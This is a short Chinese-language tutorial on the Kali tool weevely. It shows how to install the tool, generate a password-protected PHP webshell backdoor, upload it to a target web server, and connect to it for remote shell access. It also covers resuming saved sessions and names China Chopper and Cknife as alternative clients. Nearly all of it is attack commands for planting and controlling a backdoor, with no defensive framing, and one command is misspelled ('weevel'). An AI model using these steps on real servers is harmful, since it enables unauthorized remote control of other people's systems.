Kali工具-webshell之weevely

官网介绍：weevely | Kali Linux Tools

安装

apt install weevely

功能

# 生成webshell木马
weevely generate <password> <path>

# 连接远程服务器
weevely <URL> <password>

# 连接已有会话
weevely session <path>

创建webshell大马

pass为密码，USER为对应的用户名。

weevel generate pass /home/USER/Downloads/bigma.php

将生成的bigma.php上传到web应用服务器

连接远程服务器

URL为webshell木马文件上传后的具体地址，pass为创建时设置的密码

weevely http://x.x.x.x/www/uploads/bigma.php pass

也可以使用中国菜刀和Cknife进行连接。

恢复已有会话

当连接成功后，会生成一个session文件，具体路径在上图中的Session中，当使用Ctrl+C退出会话后，可以通过此文件恢复会话。

weevely session /home/xx/.weevely/sessions/x.x.x.x/big_0.session